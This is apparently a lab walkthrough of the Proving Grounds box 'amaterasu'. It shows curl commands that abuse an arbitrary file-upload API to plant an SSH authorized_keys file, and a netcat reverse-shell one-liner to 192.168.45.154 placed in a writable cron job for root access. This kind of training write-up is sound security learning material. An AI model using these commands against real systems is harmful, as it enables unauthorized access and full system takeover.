Alfredo — Proving Grounds (amaterasu)

Target host: amaterasu (user alfredo). A file-upload API on port 33414 allows writing arbitrary paths, which is abused to drop an SSH authorizedkeys file and…

#proving grounds#pg#walkthrough#boxes#os:linux#tech:rce#tech:suid

Alfredo — Proving Grounds (amaterasu)

Target host: amaterasu (user alfredo). A file-upload API on port 33414 allows writing arbitrary paths, which is abused to drop an SSH authorized_keys file and gain access.

🐺 howlsec@kalishell

$# Generate an SSH key pair
$ssh-keygen -q -t rsa -N '' -f ~/.ssh/id_rsa <<<y >/dev/null 2>&1
$ 
$# Arbitrary file write: upload our public key as alfredo's authorized_keys
$curl -X POST -H "Content-type: multipart/form-data" \
$  -F file=@/home/kali/pen200/ametarasu/id_rsa.txt \
$  http://amaterasu:33414/file-upload \
$  -F filename='/home/alfredo/.ssh/authorized_keys'
$ 
$# Confirm it was written
$curl http://amaterasu:33414/file-list?dir=/home/alfredo/.ssh
$ 
$# Then SSH in as alfredo with the private key.

Privesc: a writable cron job (/etc/crontab) is abused to run a reverse shell as root:

🐺 howlsec@kalibash

$#!/bin/bash
$rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.154 443 >/tmp/f